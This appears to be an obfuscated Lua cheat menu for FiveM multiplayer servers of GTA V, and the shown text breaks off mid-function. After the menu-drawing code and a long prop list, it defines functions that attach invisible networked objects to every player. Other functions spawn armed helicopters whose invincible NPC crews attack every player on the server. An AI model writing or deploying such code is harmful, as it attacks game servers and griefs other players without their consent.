LeBoyorFDP = {} local a = true local b = {} local c = {up = 172, down = 173, left = 174, right = 175, select = 215, back = 194} local d = 0 local e = nil local f = nil local g = 0.11 local h = 0.03 local i = 1.0 local j = 0.038 local k = 0 local l = 0.365 local m = 0.005 local n = 0.005 function math.round(o, p) return tonumber(string.format("%." .. (p or 0) .. "f", o)) end function LeBoyorFDPRGBRainbow(q) local r = {} local s = GetGameTimer() / 1000 r.r = math.floor(math.sin(s * q + 0) * 127 + 128) r.g = math.floor(math.sin(s * q + 2) * 127 + 128) r.b = math.floor(math.sin(s * q + 4) * 127 + 128) return r end function setMenuProperty(t, u, v) if t and b[t] then b[t][u] = v end end function isMenuVisible(t) if t and b[t] then return b[t].visible else return false end end function setMenuVisible(t, w, x) if t and b[t] then setMenuProperty(t, "visible", w) if not x and b[t] then setMenuProperty(t, "currentOption", 1) end if w then if t ~= f and isMenuVisible(f) then setMenuVisible(f, false) end f = t end end end function drawText(y, z, A, B, C, D, E, F, G) SetTextColour(C.r, C.g, C.b, C.a) SetTextFont(B) SetTextScale(D, D) if F then SetTextDropShadow(2, 2, 0, 0, 0) end if b[f] then if E then SetTextCentre(E) elseif G then SetTextWrap(b[f].x, b[f].x + b[f].width - m) SetTextRightJustify(true) end end BeginTextCommandDisplayText("STRING") AddTextComponentSubstringPlayerName(y) EndTextCommandDisplayText(z, A) end function drawRect(z, A, H, I, C) DrawRect(z, A, H, I, C.r, C.g, C.b, C.a) end function drawTitle() if b[f] then local z = b[f].x + b[f].width / 2 local A = b[f].y + g / 2 if b[f].titleBackgroundSprite then DrawSprite( b[f].titleBackgroundSprite.dict, b[f].titleBackgroundSprite.name, z, A, b[f].width, g, 0., 255, 255, 255, 255 ) else drawRect(z, A, b[f].width, g, b[f].titleBackgroundColor) end drawText(b[f].title, z, A - g / 2 + h, b[f].titleFont, b[f].titleColor, i, true) end end function drawSubTitle() if b[f] then local z = b[f].x + b[f].width / 2 local A = b[f].y + g + j / 2 local J = { r = b[f].titleBackgroundColor.r, g = b[f].titleBackgroundColor.g, b = b[f].titleBackgroundColor.b, a = 255 } drawRect(z, A, b[f].width, j, b[f].subTitleBackgroundColor) drawText(b[f].subTitle, b[f].x + m, A - j / 2 + n, k, J, l, false) if d > b[f].maxOptionCount then drawText( tostring(b[f].currentOption) .. " / " .. tostring(d), b[f].x + b[f].width, A - j / 2 + n, k, J, l, false, false, true ) end end end function drawButton(y, K) local z = b[f].x + b[f].width / 2 local L = nil if b[f].currentOption <= b[f].maxOptionCount and d <= b[f].maxOptionCount then L = d elseif d > b[f].currentOption - b[f].maxOptionCount and d <= b[f].currentOption then L = d - (b[f].currentOption - b[f].maxOptionCount) end if L then local A = b[f].y + g + j + j * L - j / 2 local M = nil local N = nil local O = nil local F = false if b[f].currentOption == d then M = b[f].menuFocusBackgroundColor N = b[f].menuFocusTextColor O = b[f].menuFocusTextColor else M = b[f].menuBackgroundColor N = b[f].menuTextColor O = b[f].menuSubTextColor F = true end drawRect(z, A, b[f].width, j, M) drawText(y, b[f].x + m, A - j / 2 + n, k, N, l, false, F) if K then drawText(K, b[f].x + m, A - j / 2 + n, k, O, l, false, F, true) end end end function LeBoyorFDPCreateMenu(t, P) b[t] = {} b[t].title = P b[t].visible = false b[t].previousMenu = nil b[t].aboutToBeClosed = false b[t].x = 0.02 b[t].y = 0.04 b[t].width = 0.27 b[t].currentOption = 1 b[t].maxOptionCount = 9 b[t].titleFont = 1 b[t].titleColor = {r = 255, g = 255, b = 255, a = 255} b[t].titleBackgroundColor = {r = 0, g = 0, b = 0, a = 0} b[t].titleBackgroundSprite = nil b[t].menuTextColor = {r = 255, g = 255, b = 255, a = 255} b[t].menuSubTextColor = {r = 255, g = 255, b = 255, a = 255} b[t].menuFocusTextColor = {r = 0, g = 255, b = 255, a = 255} b[t].menuFocusBackgroundColor = {r = 0, g = 0, b = 0, a = 50} b[t].menuBackgroundColor = {r = 0, g = 0, b = 0, a = 0} b[t].subTitleBackgroundColor = {r = 0, g = 0, b = 0, a = 0} b[t].buttonPressedSound = {name = "SELECT", set = "HUD_FRONTEND_DEFAULT_SOUNDSET"} end function LeBoyorFDPSetSpriteColor(t, Q, R, S, T) setMenuProperty(t, "menuTextColor", {["r"] = Q, ["g"] = R, ["b"] = S, ["a"] = T or b[t].menuBackgroundColor.a}) setMenuProperty(t, "titleColor", {["r"] = Q, ["g"] = R, ["b"] = S, ["a"] = T or b[t].menuBackgroundColor.a}) setMenuProperty(t, "menuSubTextColor", {["r"] = Q, ["g"] = R, ["b"] = S, ["a"] = T or b[t].menuBackgroundColor.a}) setMenuProperty(t, "menuFocusTextColor", {["r"] = Q, ["g"] = R, ["b"] = S, ["a"] = T or b[t].menuBackgroundColor.a}) end function LeBoyorFDPCreateSubMenu(t, U, V) if b[U] then LeBoyorFDPCreateMenu(t, b[U].title) if V then setMenuProperty(t, "subTitle", string.upper(V)) else setMenuProperty(t, "subTitle", string.upper(b[U].subTitle)) end setMenuProperty(t, "previousMenu", U) setMenuProperty(t, "x", b[U].x) setMenuProperty(t, "y", b[U].y) setMenuProperty(t, "maxOptionCount", b[U].maxOptionCount) setMenuProperty(t, "titleFont", b[U].titleFont) setMenuProperty(t, "titleColor", b[U].titleColor) setMenuProperty(t, "titleBackgroundColor", b[U].titleBackgroundColor) setMenuProperty(t, "titleBackgroundSprite", b[U].titleBackgroundSprite) setMenuProperty(t, "menuTextColor", b[U].menuTextColor) setMenuProperty(t, "menuSubTextColor", b[U].menuSubTextColor) setMenuProperty(t, "menuFocusTextColor", b[U].menuFocusTextColor) setMenuProperty(t, "menuFocusBackgroundColor", b[U].menuFocusBackgroundColor) setMenuProperty(t, "menuBackgroundColor", b[U].menuBackgroundColor) setMenuProperty(t, "subTitleBackgroundColor", b[U].subTitleBackgroundColor) end end function LeBoyorFDPCurrentMenu() return f end function LeBoyorFDPOpenMenu(t) if t and b[t] then PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true) setMenuVisible(t, true) end end function LeBoyorFDPIsMenuOpened(t) return isMenuVisible(t) end function LeBoyorFDPIsAnyMenuOpened() for t, W in pairs(b) do if isMenuVisible(t) then return true end end return false end function LeBoyorFDPIsMenuAboutToBeClosed() if b[f] then return b[f].aboutToBeClosed else return false end end function LeBoyorFDPCloseMenu() if b[f] then if b[f].aboutToBeClosed then b[f].aboutToBeClosed = false setMenuVisible(f, false) PlaySoundFrontend(-1, "QUIT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true) d = 0 f = nil e = nil else b[f].aboutToBeClosed = true end end end function LeBoyorFDPButton(y, K) local X = y if K then X = "{ " .. tostring(X) .. ", " .. tostring(K) .. " }" end if b[f] then d = d + 1 local Y = b[f].currentOption == d drawButton(y, K) if Y then if e == c.select then PlaySoundFrontend(-1, b[f].buttonPressedSound.name, b[f].buttonPressedSound.set, true) return true elseif e == c.left or e == c.right then PlaySoundFrontend(-1, "NAV_UP_DOWN", "HUD_FRONTEND_DEFAULT_SOUNDSET", true) end end return false else return false end end function LeBoyorFDPMenuButton(y, t) if b[t] then if LeBoyorFDPButton(y) then setMenuVisible(f, false) setMenuVisible(t, true, true) return true end end return false end function LeBoyorFDPCheckBox(y, Z, _) if LeBoyorFDPButton(y, Z and "~w~~h~On" or "~h~~c~Off") then Z = not Z if _ then _(Z) end return true end return false end function LeBoyorFDPComboBox(y, a0, a1, a2, _) local a3 = #a0 local a4 = a0[a1] local Y = b[f].currentOption == d + 1 if a3 > 1 and Y then a4 = "← " .. tostring(a4) .. " →" end if LeBoyorFDPButton(y, a4) then a2 = a1 _(a1, a2) return true elseif Y then if e == c.left then if a1 > 1 then a1 = a1 - 1 else a1 = a3 end elseif e == c.right then if a1 < a3 then a1 = a1 + 1 else a1 = 1 end end else a1 = a2 end _(a1, a2) return false end function LeBoyorFDPDisplay() if isMenuVisible(f) then if b[f].aboutToBeClosed then LeBoyorFDPCloseMenu() else ClearAllHelpMessages() drawTitle() drawSubTitle() e = nil if IsDisabledControlJustReleased(1, c.down) then PlaySoundFrontend(-1, "NAV_UP_DOWN", "HUD_FRONTEND_DEFAULT_SOUNDSET", true) if b[f].currentOption < d then b[f].currentOption = b[f].currentOption + 1 else b[f].currentOption = 1 end elseif IsDisabledControlJustReleased(1, c.up) then PlaySoundFrontend(-1, "NAV_UP_DOWN", "HUD_FRONTEND_DEFAULT_SOUNDSET", true) if b[f].currentOption > 1 then b[f].currentOption = b[f].currentOption - 1 else b[f].currentOption = d end elseif IsDisabledControlJustReleased(1, c.left) then e = c.left elseif IsDisabledControlJustReleased(1, c.right) then e = c.right elseif IsDisabledControlJustReleased(1, c.select) then e = c.select elseif IsDisabledControlJustPressed(1, c.back) then if b[b[f].previousMenu] then PlaySoundFrontend(-1, "BACK", "HUD_FRONTEND_DEFAULT_SOUNDSET", true) setMenuVisible(b[f].previousMenu, true) else LeBoyorFDPCloseMenu() end end d = 0 end end end function LeBoyorFDPSetMenuWidth(t, H) setMenuProperty(t, "width", H) end function LeBoyorFDPSetMenuX(t, z) setMenuProperty(t, "x", z) end function LeBoyorFDPSetMenuY(t, A) setMenuProperty(t, "y", A) end function LeBoyorFDPSetMenuMaxOptionCountOnScreen(t, a5) setMenuProperty(t, "maxOptionCount", a5) end function LeBoyorFDPSetTitle(t, P) setMenuProperty(t, "title", P) end function LeBoyorFDPSetTitleColor(t, Q, R, S, T) setMenuProperty(t, "titleColor", {["r"] = Q, ["g"] = R, ["b"] = S, ["a"] = T or b[t].titleColor.a}) end function LeBoyorFDPSetTitleBackgroundColor(t, Q, R, S, T) setMenuProperty( t, "titleBackgroundColor", {["r"] = Q, ["g"] = R, ["b"] = S, ["a"] = T or b[t].titleBackgroundColor.a} ) end function LeBoyorFDPSetTitleBackgroundSprite(t, a6, a7) RequestStreamedTextureDict(a6) setMenuProperty(t, "titleBackgroundSprite", {dict = a6, name = a7}) end function LeBoyorFDPSetSubTitle(t, y) setMenuProperty(t, "subTitle", string.upper(y)) end function LeBoyorFDPSetMenuBackgroundColor(t, Q, R, S, T) setMenuProperty( t, "menuBackgroundColor", {["r"] = Q, ["g"] = R, ["b"] = S, ["a"] = T or b[t].menuBackgroundColor.a} ) end function LeBoyorFDPSetMenuTextColor(t, Q, R, S, T) setMenuProperty(t, "menuTextColor", {["r"] = Q, ["g"] = R, ["b"] = S, ["a"] = T or b[t].menuTextColor.a}) end function LeBoyorFDPSetMenuSubTextColor(t, Q, R, S, T) setMenuProperty(t, "menuSubTextColor", {["r"] = Q, ["g"] = R, ["b"] = S, ["a"] = T or b[t].menuSubTextColor.a}) end function LeBoyorFDPSetMenuFocusColor(t, Q, R, S, T) setMenuProperty(t, "menuFocusColor", {["r"] = Q, ["g"] = R, ["b"] = S, ["a"] = T or b[t].menuFocusColor.a}) end function LeBoyorFDPSetMenuButtonPressedSound(t, a8, a9) setMenuProperty(t, "buttonPressedSound", {["name"] = a8, ["set"] = a9}) end function LeBoyorFDPDisplayBox(aa, ab, ac) AddTextEntry("FMMC_KEY_TIP9N", aa .. ":") DisplayOnscreenKeyboard(1, "FMMC_KEY_TIP9N", "", ab, "", "", "", ac) a78d8d85dssss = true while UpdateOnscreenKeyboard() ~= 1 and UpdateOnscreenKeyboard() ~= 2 do Citizen.Wait(0) end if UpdateOnscreenKeyboard() ~= 2 then local ad = GetOnscreenKeyboardResult() Citizen.Wait(500) a78d8d85dssss = false return ad else Citizen.Wait(500) a78d8d85dssss = false return nil end end local ae = { "prop_gold_cont_01", "p_crahsed_heli_s", "prop_rock_4_big2", "prop_beachflag_le", "prop_fnclink_05crnr1", "xs_prop_hamburgher_wl", "sr_prop_spec_tube_xxs_01a", "cargoplane", "prop_beach_fire", -145066854, "apa_mp_apa_yacht", "p_spinning_anus_s", "p_med_jet_01_s", "stt_prop_stunt_jump30", "stt_prop_stunt_jump15", "stt_prop_stunt_jump45", "stt_prop_stunt_track_dwslope15", "stt_prop_stunt_track_dwslope30", "prop_container_01a", "p_crahsed_heli_s", "prop_rock_4_big2", "prop_beachflag_le", "prop_gascage01", "prop_ld_ferris_wheel", "apa_mp_apa_crashed_usaf_01a", "apa_mp_apa_yacht", "apa_mp_apa_yacht_jacuzzi_ripple1", "apa_mp_apa_yacht_o3_rail_a", "apa_mp_apa_yacht_option1", "apa_mp_apa_yacht_option2", "apa_prop_ss1_mpint_garage2", "bkr_prop_biker_bblock_lrg2", "bkr_prop_biker_garage_locker_01", "bkr_prop_biker_landing_zone_01", "bkr_prop_biker_target", "bkr_prop_biker_target_small", "bkr_prop_bkr_cashpile_01", "bkr_prop_weed_med_01b", "ce_xr_ctr2", "gr_prop_gr_doorpart_f", "gr_prop_gr_crates_weapon_mix_01b", "gr_prop_gr_fnclink_03g", "gr_prop_gr_fnclink_03f", "gr_prop_gr_para_s_01", "prop_dt1_20_mp_gar", "prop_dummy_01", "prop_dumpster_4b", "prop_dumpster_4a", "prop_elecbox_01a", "prop_elecbox_16", "prop_phonebox_04", "prop_pier_kiosk_03", "prop_pile_dirt_02", "prop_pile_dirt_07_cr", "prop_rub_wreckage_9", "prop_telegraph_01b", "sr_prop_spec_tube_crn_01a", "prop_ind_barge_01_cr", "prop_ind_deiseltank", "prop_ind_oldcrane", "prop_inflatearch_01", "w_ar_musket", "xm_prop_tunnel_fan_01", "xm_prop_x17_l_glass_01", "xm_prop_x17_mine_01a", "xm_prop_x17_mine_03a", "xm_prop_x17_osphatch_27m", "xm_prop_x17_pillar", "xm_prop_x17_osphatch_op_27m", "xm_prop_x17_shamal_crash", "xm_prop_x17_silo_01a", "xm_prop_x17_sub", "xm_prop_x17_sub_damage", "xm_prop_x17_trail_01a", "xm_prop_x17_xmas_tree_int", "dt1_05_build1_damage", "dt1_05_build1_damage_lod", "xs_combined2_dyst_07_build_a", "xs_combined2_dyst_07_build_b", "xs_combined2_dyst_07_build_c", "xs_combined2_dyst_07_build_e", "xs_combined2_dyst_build_01a_09", "xs_combined2_dyst_build_01b_09", "xs_combined2_dyst_build_02a_09", "xs_combined2_dyst_longbuild_b_09", "xs_combined2_dyst_longbuild_c_09", "dt1_05_build1_h", "prop_rock_1_h", "prop_test_boulder_01", "prop_test_boulder_02", "prop_test_boulder_03", "prop_test_boulder_04", "apa_mp_apa_crashed_usaf_01a", "ex_prop_exec_crashdp", "apa_mp_apa_yacht_o1_rail_a", "apa_mp_apa_yacht_o1_rail_b", "apa_mp_h_yacht_armchair_01", "apa_mp_h_yacht_armchair_03", "apa_mp_h_yacht_armchair_04", "apa_mp_h_yacht_barstool_01", "apa_mp_h_yacht_bed_01", "apa_mp_h_yacht_bed_02", "apa_mp_h_yacht_coffee_table_01", "apa_mp_h_yacht_coffee_table_02", "apa_mp_h_yacht_floor_lamp_01", "apa_mp_h_yacht_side_table_01", "apa_mp_h_yacht_side_table_02", "apa_mp_h_yacht_sofa_01", "apa_mp_h_yacht_sofa_02", "apa_mp_h_yacht_stool_01", "apa_mp_h_yacht_strip_chair_01", "apa_mp_h_yacht_table_lamp_01", "apa_mp_h_yacht_table_lamp_02", "apa_mp_h_yacht_table_lamp_03", "prop_flag_columbia", "apa_mp_apa_yacht_o2_rail_a", "apa_mp_apa_yacht_o2_rail_b", "apa_mp_apa_yacht_o3_rail_a", "apa_mp_apa_yacht_o3_rail_b", "apa_mp_apa_yacht_option1", "proc_searock_01", "apa_mp_h_yacht_", "apa_mp_apa_yacht_option1_cola", "apa_mp_apa_yacht_option2", "apa_mp_apa_yacht_option2_cola", "apa_mp_apa_yacht_option2_colb", "apa_mp_apa_yacht_option3", "apa_mp_apa_yacht_option3_cola", "apa_mp_apa_yacht_option3_colb", "apa_mp_apa_yacht_option3_colc", "apa_mp_apa_yacht_option3_cold", "apa_mp_apa_yacht_option3_cole", "apa_mp_apa_yacht_jacuzzi_cam", "apa_mp_apa_yacht_jacuzzi_ripple003", "apa_mp_apa_yacht_jacuzzi_ripple1", "apa_mp_apa_yacht_jacuzzi_ripple2", "apa_mp_apa_yacht_radar_01a", "apa_mp_apa_yacht_win", "prop_crashed_heli", "apa_mp_apa_yacht_door", "prop_shamal_crash", "xm_prop_x17_shamal_crash", "apa_mp_apa_yacht_door2", "apa_mp_apa_yacht", "prop_flagpole_2b", "prop_flagpole_2c", "prop_flag_canada", "apa_prop_yacht_float_1a", "apa_prop_yacht_float_1b", "apa_prop_yacht_glass_01", "apa_prop_yacht_glass_02", "apa_prop_yacht_glass_03", "apa_prop_yacht_glass_04", "apa_prop_yacht_glass_05", "apa_prop_yacht_glass_06", "apa_prop_yacht_glass_07", "apa_prop_yacht_glass_08", "apa_prop_yacht_glass_09", "apa_prop_yacht_glass_10", "prop_flag_canada_s", "prop_flag_eu", "prop_flag_eu_s", "prop_target_blue_arrow", "prop_target_orange_arrow", "prop_target_purp_arrow", "prop_target_red_arrow", "apa_prop_flag_argentina", "apa_prop_flag_australia", "apa_prop_flag_austria", "apa_prop_flag_belgium", "apa_prop_flag_brazil", "apa_prop_flag_canadat_yt", "apa_prop_flag_china", "apa_prop_flag_columbia", "apa_prop_flag_croatia", "apa_prop_flag_czechrep", "apa_prop_flag_denmark", "apa_prop_flag_england", "apa_prop_flag_eu_yt", "apa_prop_flag_finland", "apa_prop_flag_france", "apa_prop_flag_german_yt", "apa_prop_flag_hungary", "apa_prop_flag_ireland", "apa_prop_flag_israel", "apa_prop_flag_italy", "apa_prop_flag_jamaica", "apa_prop_flag_japan_yt", "apa_prop_flag_canada_yt", "apa_prop_flag_lstein", "apa_prop_flag_malta", "apa_prop_flag_mexico_yt", "apa_prop_flag_netherlands", "apa_prop_flag_newzealand", "apa_prop_flag_nigeria", "apa_prop_flag_norway", "apa_prop_flag_palestine", "apa_prop_flag_poland", "apa_prop_flag_portugal", "apa_prop_flag_puertorico", "apa_prop_flag_russia_yt", "apa_prop_flag_scotland_yt", "apa_prop_flag_script", "apa_prop_flag_slovakia", "apa_prop_flag_slovenia", "apa_prop_flag_southafrica", "apa_prop_flag_southkorea", "apa_prop_flag_spain", "apa_prop_flag_sweden", "apa_prop_flag_switzerland", "apa_prop_flag_turkey", "apa_prop_flag_uk_yt", "apa_prop_flag_us_yt", "apa_prop_flag_wales", "prop_flag_uk", "prop_flag_uk_s", "prop_flag_us", "prop_flag_usboat", "prop_flag_us_r", "prop_flag_us_s", "prop_flag_france", "prop_flag_france_s", "prop_flag_german", "prop_flag_german_s", "prop_flag_ireland", "prop_flag_ireland_s", "prop_flag_japan", "prop_flag_japan_s", "prop_flag_ls", "prop_flag_lsfd", "prop_flag_lsfd_s", "prop_flag_lsservices", "prop_flag_lsservices_s", "prop_flag_ls_s", "prop_flag_mexico", "prop_flag_mexico_s", "prop_flag_russia", "prop_flag_russia_s", "prop_flag_s", "prop_flag_sa", "prop_flag_sapd", "prop_flag_sapd_s", "prop_flag_sa_s", "prop_flag_scotland", "prop_flag_scotland_s", "prop_flag_sheriff", "prop_flag_sheriff_s", "prop_flag_uk", "prop_flag_uk_s", "prop_flag_us", "prop_flag_usboat", "prop_flag_us_r", "prop_flag_us_s", "prop_flamingo", "prop_swiss_ball_01", "prop_air_bigradar_l1", "prop_air_bigradar_l2", "prop_air_bigradar_slod", "p_fib_rubble_s", "prop_money_bag_01", "p_cs_mp_jet_01_s", "prop_poly_bag_money", "prop_air_radar_01", "hei_prop_carrier_radar_1", "prop_air_bigradar", "prop_carrier_radar_1_l1", "prop_asteroid_01", "prop_xmas_ext", "p_oil_pjack_01_amo", "p_oil_pjack_01_s", "p_oil_pjack_02_amo", "p_oil_pjack_03_amo", "p_oil_pjack_02_s", "p_oil_pjack_03_s", "prop_aircon_l_03", "prop_med_jet_01", "p_med_jet_01_s", "hei_prop_carrier_jet", "bkr_prop_biker_bblock_huge_01", "bkr_prop_biker_bblock_huge_02", "bkr_prop_biker_bblock_huge_04", "bkr_prop_biker_bblock_huge_05", "hei_prop_heist_emp", "prop_weed_01", "prop_air_bigradar", "prop_juicestand", "prop_lev_des_barge_02", "hei_prop_carrier_defense_01", "prop_aircon_m_04", "prop_mp_ramp_03", "stt_prop_stunt_track_dwuturn", "ch3_12_animplane1_lod", "ch3_12_animplane2_lod", "hei_prop_hei_pic_pb_plane", "light_plane_rig", "prop_cs_plane_int_01", "prop_dummy_plane", "prop_mk_plane", "v_44_planeticket", "prop_planer_01", "ch3_03_cliffrocks03b_lod", "cargoplane", "jet", "csx_coastsmalrock_02_", "csx_coastsmalrock_03_", "csx_coastsmalrock_04_", "mp_player_introck", "Heist_Yacht", "csx_coastsmalrock_05_", "mp_player_int_rock", "mp_player_introck", "prop_flagpole_1a", "prop_flagpole_2a", "prop_flagpole_3a", "prop_a4_pile_01", "cs2_10_sea_rocks_lod", "cs2_11_sea_marina_xr_rocks_03_lod", "prop_gold_cont_01", "prop_hydro_platform", "ch3_04_viewplatform_slod", "ch2_03c_rnchstones_lod", "proc_mntn_stone01", "prop_beachflag_le", "proc_mntn_stone02", "cs2_10_sea_shipwreck_lod", "des_shipsink_02", "prop_dock_shippad", "des_shipsink_03", "des_shipsink_04", "prop_mk_flag", "prop_mk_flag_2", "proc_mntn_stone03", "FreeModeMale01", "rsn_os_specialfloatymetal_n", "rsn_os_specialfloatymetal", "cs1_09_sea_ufo", "rsn_os_specialfloaty2_light2", "rsn_os_specialfloaty2_light", "rsn_os_specialfloaty2", "rsn_os_specialfloatymetal_n", "rsn_os_specialfloatymetal", "P_Spinning_Anus_S_Main", "P_Spinning_Anus_S_Root", "cs3_08b_rsn_db_aliencover_0001cs3_08b_rsn_db_aliencover_0001_a", "sc1_04_rnmo_paintoverlaysc1_04_rnmo_paintoverlay_a", "rnbj_wallsigns_0001", "proc_sml_stones01", "proc_sml_stones02", "maverick", "Miljet", "proc_sml_stones03", "proc_stones_01", "proc_stones_02", "proc_stones_03", "proc_stones_04", "proc_stones_05", "proc_stones_06", "prop_coral_stone_03", "prop_coral_stone_04", "prop_gravestones_01a", "prop_gravestones_02a", "prop_gravestones_03a", "prop_gravestones_04a", "prop_gravestones_05a", "prop_gravestones_06a", "prop_gravestones_07a", "prop_gravestones_08a", "prop_gravestones_09a", "prop_gravestones_10a", "prop_prlg_gravestone_05a_l1", "prop_prlg_gravestone_06a", "test_prop_gravestones_04a", "test_prop_gravestones_05a", "test_prop_gravestones_07a", "test_prop_gravestones_08a", "test_prop_gravestones_09a", "prop_prlg_gravestone_01a", "prop_prlg_gravestone_02a", "prop_prlg_gravestone_03a", "prop_prlg_gravestone_04a", "prop_stoneshroom1", "prop_stoneshroom2", "v_res_fa_stones01", "test_prop_gravestones_01a", "test_prop_gravestones_02a", "prop_prlg_gravestone_05a", "FreemodeFemale01", "p_cablecar_s", "stt_prop_stunt_tube_l", "stt_prop_stunt_track_dwuturn", "p_spinning_anus_s", "prop_windmill_01", "hei_prop_heist_tug", "prop_air_bigradar", "p_oil_slick_01", "prop_dummy_01", "hei_prop_heist_emp", "p_tram_cash_s", "hw1_blimp_ce2", "prop_fire_exting_1a", "prop_fire_exting_1b", "prop_fire_exting_2a", "prop_fire_exting_3a", "hw1_blimp_ce2_lod", "hw1_blimp_ce_lod", "hw1_blimp_cpr003", "hw1_blimp_cpr_null", "hw1_blimp_cpr_null2", "prop_lev_des_barage_02", "hei_prop_carrier_defense_01", "prop_juicestand", "S_M_M_MovAlien_01", "s_m_m_movalien_01", "s_m_m_movallien_01", "u_m_y_babyd", "CS_Orleans", "A_M_Y_ACult_01", "S_M_M_MovSpace_01", "U_M_Y_Zombie_01", "s_m_y_blackops_01", "a_f_y_topless_01", "a_c_boar", "a_c_cat_01", "a_c_chickenhawk", "a_c_chimp", "s_f_y_hooker_03", "a_c_chop", "a_c_cormorant", "a_c_cow", "a_c_coyote", "v_ilev_found_cranebucket", "p_cs_sub_hook_01_s", "a_c_crow", "a_c_dolphin", "a_c_fish", "hei_prop_heist_hook_01", "prop_rope_hook_01", "prop_sub_crane_hook", "s_f_y_hooker_01", "prop_vehicle_hook", "prop_v_hook_s", "prop_dock_crane_02_hook", "prop_winch_hook_long", "a_c_hen", "a_c_humpback", "a_c_husky", "a_c_killerwhale", "a_c_mtlion", "a_c_pigeon", "a_c_poodle", "prop_coathook_01", "prop_cs_sub_hook_01", "a_c_pug", "a_c_rabbit_01", "a_c_rat", "a_c_retriever", "a_c_rhesus", "a_c_rottweiler", "a_c_sharkhammer", "a_c_sharktiger", "a_c_shepherd", "a_c_stingray", "a_c_westy", "CS_Orleans", "prop_windmill_01", "prop_Ld_ferris_wheel", "p_tram_crash_s", "p_oil_slick_01", "p_ld_stinger_s", "p_ld_soc_ball_01", "p_parachute1_s", "p_cablecar_s", "prop_beach_fire", "prop_lev_des_barge_02", "prop_lev_des_barge_01", "prop_sculpt_fix", "prop_flagpole_2b", "prop_flagpole_2c", "prop_winch_hook_short", "prop_flag_canada", "prop_flag_canada_s", "prop_flag_eu", "prop_flag_eu_s", "prop_flag_france", "prop_flag_france_s", "prop_flag_german", "prop_ld_hook", "prop_flag_german_s", "prop_flag_ireland", "prop_flag_ireland_s", "prop_flag_japan", "prop_flag_japan_s", "prop_flag_ls", "prop_flag_lsfd", "prop_flag_lsfd_s", "prop_cable_hook_01", "prop_flag_lsservices", "prop_flag_lsservices_s", "prop_flag_ls_s", "prop_flag_mexico", "prop_flag_mexico_s", "csx_coastboulder_00", "des_tankercrash_01", "des_tankerexplosion_01", "des_tankerexplosion_02", "des_trailerparka_02", "des_trailerparkb_02", "des_trailerparkc_02", "des_trailerparkd_02", "des_traincrash_root2", "des_traincrash_root3", "des_traincrash_root4", "des_traincrash_root5", "des_finale_vault_end", "des_finale_vault_root001", "des_finale_vault_root002", "des_finale_vault_root003", "des_finale_vault_root004", "des_finale_vault_start", "des_vaultdoor001_root001", "des_vaultdoor001_root002", "des_vaultdoor001_root003", "des_vaultdoor001_root004", "des_vaultdoor001_root005", "des_vaultdoor001_root006", "des_vaultdoor001_skin001", "des_vaultdoor001_start", "des_traincrash_root6", "prop_ld_vault_door", "prop_vault_door_scene", "prop_vault_door_scene", "prop_vault_shutter", "p_fin_vaultdoor_s", "v_ilev_bk_vaultdoor", "prop_gold_vault_fence_l", "prop_gold_vault_fence_r", "prop_gold_vault_gate_01", "prop_bank_vaultdoor", "des_traincrash_root7", "prop_flag_russia", "prop_flag_russia_s", "prop_flag_s", "ch2_03c_props_rrlwindmill_lod", "prop_flag_sa", "prop_flag_sapd", "prop_flag_sapd_s", "prop_flag_sa_s", "prop_flag_scotland", "prop_flag_scotland_s", "prop_flag_sheriff", "prop_flag_sheriff_s", "prop_flag_uk", "prop_yacht_lounger", "prop_yacht_seat_01", "prop_yacht_seat_02", "prop_yacht_seat_03", "marina_xr_rocks_02", "marina_xr_rocks_03", "prop_test_rocks01", "prop_test_rocks02", "prop_test_rocks03", "prop_test_rocks04", "marina_xr_rocks_04", "marina_xr_rocks_05", "marina_xr_rocks_06", "prop_yacht_table_01", "csx_searocks_02", "csx_searocks_03", "csx_searocks_04", "csx_searocks_05", "csx_searocks_06", "p_yacht_chair_01_s", "p_yacht_sofa_01_s", "prop_yacht_table_02", "csx_coastboulder_00", "csx_coastboulder_01", "csx_coastboulder_02", "csx_coastboulder_03", "csx_coastboulder_04", "csx_coastboulder_05", "csx_coastboulder_06", "csx_coastboulder_07", "csx_coastrok1", "csx_coastrok2", "csx_coastrok3", "csx_coastrok4", "csx_coastsmalrock_01", "csx_coastsmalrock_02", "csx_coastsmalrock_03", "csx_coastsmalrock_04", "csx_coastsmalrock_05", "prop_yacht_table_03" } function LeBoyorFDPRandomProp() for af = 1, 3 do for W, ag in ipairs(GetActivePlayers()) do local ah = ae[math.random(1, 74)] modelHash = type(ah) == "number" and ah or GetHashKey(ah) if not HasModelLoaded(modelHash) then RequestModel(modelHash) while not HasModelLoaded(modelHash) do Citizen.Wait(1) end end local ai = CreateObjectNoOffset(modelHash, 0, 0, 0, true, false, true) NetworkSetEntityInvisibleToNetwork(ai, true) local aj = GetPlayerPed(ag) AttachEntityToEntity( ai, aj, GetPedBoneIndex(aj, 57005), 0.4, 0, 0, 0, 270.0, 60.0, true, true, false, true, 1, true ) end end end function XaivesSpawnAllFireVehicle(ak) for W, af in ipairs(GetActivePlayers()) do XaivesSpawnFireVehicle(af, ak) end end function XaivesSpawnFireVehicle(af, veh) if IsModelValid(veh) then local al = GetEntityCoords(GetPlayerPed(af)) local am = veh local an = "csb_mweather" RequestModel(am) RequestModel(an) if not HasModelLoaded(am) then RequestModel(am) while not HasModelLoaded(am) do Citizen.Wait(1) end end if not HasModelLoaded(an) then RequestModel(an) while not HasModelLoaded(an) do Citizen.Wait(1) end end local ao = CreateVehicle(GetHashKey(am), al.x, al.y, al.z + 100.0, 0.0, true, false) local ap = CreatePedInsideVehicle(ao, 4, an, -1, true, false) SetHeliBladesFullSpeed(ao) SetCurrentPedVehicleWeapon(ap, GetHashKey("vehicle_weapon_player_buzzard")) SetVehicleShootAtTarget(ap, GetPlayerPed(af), al.x, al.y, al.z) local aq = PedToNet(ap) NetworkSetNetworkIdDynamic(aq, false) SetNetworkIdCanMigrate(aq, true) SetNetworkIdExistsOnAllMachines(aq, true) Citizen.Wait(30) NetToPed(aq) SetEntityInvincible(aq, true) SetPedCanSwitchWeapon(ap, true) TaskCombatPed(ap, GetPlayerPed(af), 0, 16) local ar = "weapon_carbinerifle_mk2" for as = 1, 3 do local at = CreatePedInsideVehicle(ao, 4, an, as, true, false) NetworkRegisterEntityAsNetworked(at) Citizen.CreateThread( function() if DoesEntityExist(at) and not IsEntityDead(GetPlayerPed(af)) then local au = PedToNet(at) NetworkSetNetworkIdDynamic(au, false) SetNetworkIdCanMigrate(au, true) SetNetworkIdExistsOnAllMachines(au, true) Citizen.Wait(100.0) 